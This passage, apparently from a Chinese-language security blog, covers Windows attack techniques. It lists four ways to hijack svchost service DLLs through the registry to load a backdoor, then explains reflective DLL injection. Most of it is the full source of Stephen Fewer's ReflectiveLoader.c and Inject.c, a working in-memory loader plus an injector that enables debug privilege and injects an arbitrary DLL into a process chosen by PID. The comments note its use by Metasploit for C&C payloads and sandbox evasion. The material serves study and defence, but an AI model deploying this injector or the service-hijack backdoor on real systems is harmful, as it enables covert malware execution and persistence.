https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
https://msdn.microsoft.com/en-us/library/windows/desktop/ms685138(v=vs.85).aspx 
https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus
http://www.devx.com/cplus/Article/9857/0/page/2

 

12. 劫持現有Service的啟動DLL

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost]中存放著svchost啟動的組和組內的各個服務,如果要使用svchost啟動某個服務,則該服務名就會出現在該目錄下

1. 新增一個新的組,在組裡新增服務名
2. 在現有組裡新增服務名
3. 直接使用現有組裡的一個服務名,但是本機沒有安裝的服務: PortLess BackDoor使用的該方法
4. 修改現有組裡的現有服務,把它的ServiceDll指向自己的DLL後門

Relevant Link:

http://it.rising.com.cn/safe/protect/2010-01-07/6174_2.html

 

13. Reflective DLL injection In Memory - 從記憶體中的dll binary載入/注入dll技術

記憶體dll注入技術是一種從記憶體buffer中(msf常使用該技術從遠端C&C中下載dll payload)注入dll到本機程式的技術,為了躲避API監控,它常常自帶PE Loader程式碼,即在注入DLL中先呼叫一個ReflectiveLoader()匯出函式,該函式的作用是"模擬PE Loader",即模擬windows dll loader的過程把自身載入連結到目標程式地址空間中,並呼叫真正的DllMain入口函式
大體上說,這個技術的攻擊流程如下

1. 獲得CPU執行許可權
    1) 可能通過CreateRemoteThread()
    2) 或者微型注入的shellcode
  3) apc dll注入
2. 呼叫流程到了ReflectiveLoader,如果是dll注入,則該函式必須是dll的一個匯出函式 3. 注入的dll或者shellcode可能在目標程式的任意記憶體位置,ReflectiveLoader做的第一件事是獲取當前所在的映象基地址 1) _ReturnAddress 2) call-pop被用來自定位 4. 通過PEB方式動態獲取核心動態連結庫和API函式地址 1) KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) 2) NTDLLDLL_HASH(pNtFlushInstructionCache) 5. ReflectiveLoader重新申請了一塊用於存放DLL的記憶體地址 6. 將DLL的header和節逐個拷貝到申請的記憶體地址中 7. 處理匯入函式,載入依賴庫(使用LoadLibrary),填充IAT 8. 重定位,修復偏移 9. 獲取該DLL的真實入口地址,需要注意的是,DLL的入口地址往往都不是DllMain而是修改過的(MSF常用該技術躲避sandbox檢測) 9. 通過函式指標的方式呼叫DLL的DllMain函式,使用DLL_PROCESS_DETACH為引數呼叫DLL入口點,把控制流轉到真實的入口地址Entry Point

0x1: ReflectiveLoader.c - 模擬pe loader

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
//===============================================================================================//
#pragma intrinsic( _ReturnAddress )
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally 
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 
// available (and no inline asm available under x64).
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); }
//===============================================================================================//

// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,  
//         otherwise the DllMain at the end of this file will be used.

// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
//         otherwise it is assumed you are calling the ReflectiveLoader via a stub.

// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID )
#endif
{
    // the functions we need
    LOADLIBRARYA pLoadLibraryA     = NULL;
    GETPROCADDRESS pGetProcAddress = NULL;
    VIRTUALALLOC pVirtualAlloc     = NULL;
    NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;

    USHORT usCounter;

    // the initial location of this image in memory
    ULONG_PTR uiLibraryAddress;
    // the kernels base address and later this images newly loaded base address
    ULONG_PTR uiBaseAddress;

    // variables for processing the kernels export table
    ULONG_PTR uiAddressArray;
    ULONG_PTR uiNameArray;
    ULONG_PTR uiExportDir;
    ULONG_PTR uiNameOrdinals;
    DWORD dwHashValue;

    // variables for loading this image
    ULONG_PTR uiHeaderValue;
    ULONG_PTR uiValueA;
    ULONG_PTR uiValueB;
    ULONG_PTR uiValueC;
    ULONG_PTR uiValueD;
    ULONG_PTR uiValueE;

    // STEP 0: calculate our images current base address

    // we will start searching backwards from our callers return address.
    // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller.
    uiLibraryAddress = caller();

    // loop through memory backwards searching for our images base address
    // we dont need SEH style search as we shouldnt generate any access violations with this
    while( TRUE )
    {
        // 通過逐個DWORD搜尋0x5A4D      // MZ關鍵字動態搜尋DLL的檔案頭
        if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
        {
            uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
            // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
            if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
            {
                uiHeaderValue += uiLibraryAddress;
                // break if we have found a valid MZ/PE header
                if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
                    break;
            }
        }
        uiLibraryAddress--;
    }

    // STEP 1: process the kernels exports for the functions our loader needs...

    // get the Process Enviroment Block
    // 獲取PEB 
#ifdef WIN_X64
    uiBaseAddress = __readgsqword( 0x60 );
#else
#ifdef WIN_X86
    uiBaseAddress = __readfsdword( 0x30 );
#else WIN_ARM
    uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 );
#endif
#endif

    // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
    uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;

    /*
    動態獲取API函式地址
    KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC)
    NTDLLDLL_HASH(pNtFlushInstructionCache)
    */
    // get the first entry of the InMemoryOrder module list
    uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
    while( uiValueA )
    {
        // get pointer to current modules name (unicode string)
        uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
        // set bCounter to the length for the loop
        usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
        // clear uiValueC which will store the hash of the module name
        uiValueC = 0;

        // compute the hash of the module name...
        do
        {
            uiValueC = ror( (DWORD)uiValueC );
            // normalize to uppercase if the madule name is in lowercase
            if( *((BYTE *)uiValueB) >= 'a' )
                uiValueC += *((BYTE *)uiValueB) - 0x20;
            else
                uiValueC += *((BYTE *)uiValueB);
            uiValueB++;
        } while( --usCounter );

        // compare the hash with that of kernel32.dll
        if( (DWORD)uiValueC == KERNEL32DLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
            
            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 3;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
                
                // if we have found a function we want we get its virtual address
                if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == LOADLIBRARYA_HASH )
                        pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == GETPROCADDRESS_HASH )
                        pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) );
                    else if( dwHashValue == VIRTUALALLOC_HASH )
                        pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) );
            
                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }
        else if( (DWORD)uiValueC == NTDLLDLL_HASH )
        {
            // get this modules base address
            uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;

            // get the VA of the modules NT Header
            uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

            // uiNameArray = the address of the modules export directory entry
            uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

            // get the VA of the export directory
            uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

            // get the VA for the array of name pointers
            uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
            
            // get the VA for the array of name ordinals
            uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );

            usCounter = 1;

            // loop while we still have imports to find
            while( usCounter > 0 )
            {
                // compute the hash values for this function name
                dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) )  );
                
                // if we have found a function we want we get its virtual address
                if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                {
                    // get the VA for the array of addresses
                    uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                    // use this functions name ordinal as an index into the array of name pointers
                    uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );

                    // store this functions VA
                    if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH )
                        pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) );

                    // decrement our counter
                    usCounter--;
                }

                // get the next exported function name
                uiNameArray += sizeof(DWORD);

                // get the next exported function name ordinal
                uiNameOrdinals += sizeof(WORD);
            }
        }

        // we stop searching when we have found everything we need.
        if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache )
            break;

        // get the next entry
        uiValueA = DEREF( uiValueA );
    }

    // STEP 2: load our image into a new permanent location in memory...

    // get the VA of the NT Header for the PE to be loaded
    uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

    // allocate all the memory for the DLL to be loaded into. we can load at any address because we will  
    // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
    // 重新在目標被注入程式中申請一塊新的可讀可寫可執行記憶體 
    uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    // we must now copy over the headers
    // 寫入DLL的檔案頭
    uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
    uiValueB = uiLibraryAddress;
    uiValueC = uiBaseAddress;

    while( uiValueA-- )
        *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;

    // STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
    
    // itterate through all sections, loading them into memory.
    // 從DLL中逐個節拷貝到目標程式中
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
    while( uiValueE-- )
    {
        // uiValueB is the VA for this section
        uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );

        // uiValueC if the VA for this sections data
        uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );

        // copy the section over
        uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;

        while( uiValueD-- )
            *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;

        // get the VA of the next section
        uiValueA += sizeof( IMAGE_SECTION_HEADER );
    }

    // STEP 4: process our images import table...
    // 在被注入程式的記憶體空間中重建寫入DLL的匯入表

    // uiValueB = the address of the import directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
    
    // we assume their is an import table to process
    // uiValueC is the first entry in the import table
    uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
    
    // itterate through all imports
    while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
    {
        // use LoadLibraryA to load the imported module into memory
        uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );

        // uiValueD = VA of the OriginalFirstThunk
        uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
    
        // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
        uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );

        // itterate through all imported functions, importing by ordinal if no name present
        while( DEREF(uiValueA) )
        {
            // sanity check uiValueD as some compilers only import by FirstThunk
            if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
            {
                // get the VA of the modules NT Header
                uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;

                // uiNameArray = the address of the modules export directory entry
                uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];

                // get the VA of the export directory
                uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );

                // get the VA for the array of addresses
                uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );

                // use the import ordinal (- export ordinal base) as an index into the array of addresses
                uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );

                // patch in the address for this imported function
                DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
            }
            else
            {
                // get the VA of this functions import by name struct
                uiValueB = ( uiBaseAddress + DEREF(uiValueA) );

                // use GetProcAddress and patch in the address for this imported function
                DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
            }
            // get the next imported function
            uiValueA += sizeof( ULONG_PTR );
            if( uiValueD )
                uiValueD += sizeof( ULONG_PTR );
        }

        // get the next import
        uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
    }

    // STEP 5: process all of our images relocations...
    // 在被注入程式的記憶體空間中對DLL匯入函式進行重定位

    // calculate the base address delta and perform relocations (even if we load at desired image base)
    uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;

    // uiValueB = the address of the relocation directory
    uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];

    // check if their are any relocations present
    if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
    {
        // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
        uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );

        // and we itterate through all entries...
        while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
        {
            // uiValueA = the VA for this relocation block
            uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );

            // uiValueB = number of entries in this relocation block
            uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );

            // uiValueD is now the first entry in the current relocation block
            uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

            // we itterate through all the entries in the current block...
            while( uiValueB-- )
            {
                // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
                // we dont use a switch statement to avoid the compiler building a jump table
                // which would not be very position independent!
                if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
                    *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
                    *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
                // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
                {    
                    register DWORD dwInstruction;
                    register DWORD dwAddress;
                    register WORD wImm;
                    // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
                    dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
                    // flip the words to get the instruction as expected
                    dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
                    // sanity chack we are processing a MOV instruction...
                    if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
                    {
                        // pull out the encoded 16bit value (the high portion of the address-to-relocate)
                        wImm  = (WORD)( dwInstruction & 0x000000FF);
                        wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
                        wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
                        wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
                        // apply the relocation to the target address
                        dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
                        // now create a new instruction with the same opcode and register param.
                        dwInstruction  = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
                        // patch in the relocated address...
                        dwInstruction |= (DWORD)(dwAddress & 0x00FF);
                        dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
                        dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
                        dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
                        // now flip the instructions words and patch back into the code...
                        *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
                    }
                }
#endif
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
                else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
                    *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);

                // get the next entry in the current relocation block
                uiValueD += sizeof( IMAGE_RELOC );
            }

            // get the next entry in the relocation directory
            uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
        }
    }

    // STEP 6: call our images entry point
    // 通過函式指標呼叫被注入程式的記憶體空間中的DLL入口地址,這裡使用的就是真實的DllMain地址,實際上可以使用一個修改了EntryPoint的DLL,這種DLL可以躲避sandbox的執行

    // uiValueA = the VA of our newly loaded DLL/EXE's entry point
    uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );

    // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
    pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );

    // call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
    // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
    // if we are injecting an DLL via a stub we call DllMain with no parameter
    ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif

    // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
    return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN

BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
    switch( dwReason ) 
    { 
        case DLL_QUERY_HMODULE:
            if( lpReserved != NULL )
                *(HMODULE *)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
    }
    return bReturnValue;
}

#endif
//===============================================================================================//

0x2: Inject.c

//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
// 
// Redistribution and use in source and binary forms, with or without modification, are permitted 
// provided that the following conditions are met:
// 
//     * Redistributions of source code must retain the above copyright notice, this list of 
// conditions and the following disclaimer.
// 
//     * Redistributions in binary form must reproduce the above copyright notice, this list of 
// conditions and the following disclaimer in the documentation and/or other materials provided 
// with the distribution.
// 
//     * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
// 
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "LoadLibraryR.h"

#pragma comment(lib,"Advapi32.lib")

#define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; }

// Simple app to inject a reflective DLL into a process vis its process ID.
int main( int argc, char * argv[] )
{
    HANDLE hFile          = NULL;
    HANDLE hModule        = NULL;
    HANDLE hProcess       = NULL;
    HANDLE hToken         = NULL;
    LPVOID lpBuffer       = NULL;
    DWORD dwLength        = 0;
    DWORD dwBytesRead     = 0;
    DWORD dwProcessId     = 0;
    TOKEN_PRIVILEGES priv = {0};

#ifdef WIN_X64
    char * cpDllFile  = "reflective_dll.x64.dll";
#else
#ifdef WIN_X86
    char * cpDllFile  = "reflective_dll.dll";
#else WIN_ARM
    char * cpDllFile  = "reflective_dll.arm.dll";
#endif
#endif

    do
    {
        // Usage: inject.exe [pid] [dll_file]

        if( argc == 1 )
            dwProcessId = GetCurrentProcessId();
        else
            dwProcessId = atoi( argv[1] );

        if( argc >= 3 )
            cpDllFile = argv[2];

        hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
        if( hFile == INVALID_HANDLE_VALUE )
            BREAK_WITH_ERROR( "Failed to open the DLL file" );

        dwLength = GetFileSize( hFile, NULL );
        if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
        if( !lpBuffer )
            BREAK_WITH_ERROR( "Failed to get the DLL file size" );

        if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
            BREAK_WITH_ERROR( "Failed to alloc a buffer!" );

        if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
        {
            priv.PrivilegeCount           = 1;
            priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
            if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
                AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );

            CloseHandle( hToken );
        }

        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
        if( !hProcess )
            BREAK_WITH_ERROR( "Failed to open the target process" );

        // 將待注入的DLL通過ReflectiveLoader注入到目標程式空間中
        hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
        if( !hModule )
            BREAK_WITH_ERROR( "Failed to inject the DLL" );

        printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
        
        WaitForSingleObject( hModule, -1 );

    } while( 0 );

    if( lpBuffer )
        HeapFree( GetProcessHeap(), 0, lpBuffer );

    if( hProcess )
        CloseHandle( hProcess );

    return 0;
}

Relevant Link: 

https://msdn.microsoft.com/en-us/library/64ez38eh.aspx
https://github.com/stephenfewer/ReflectiveDLLInjection
https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/
http://bobao.360.cn/learning/detail/3883.html
http://bobao.360.cn/learning/detail/3881.html
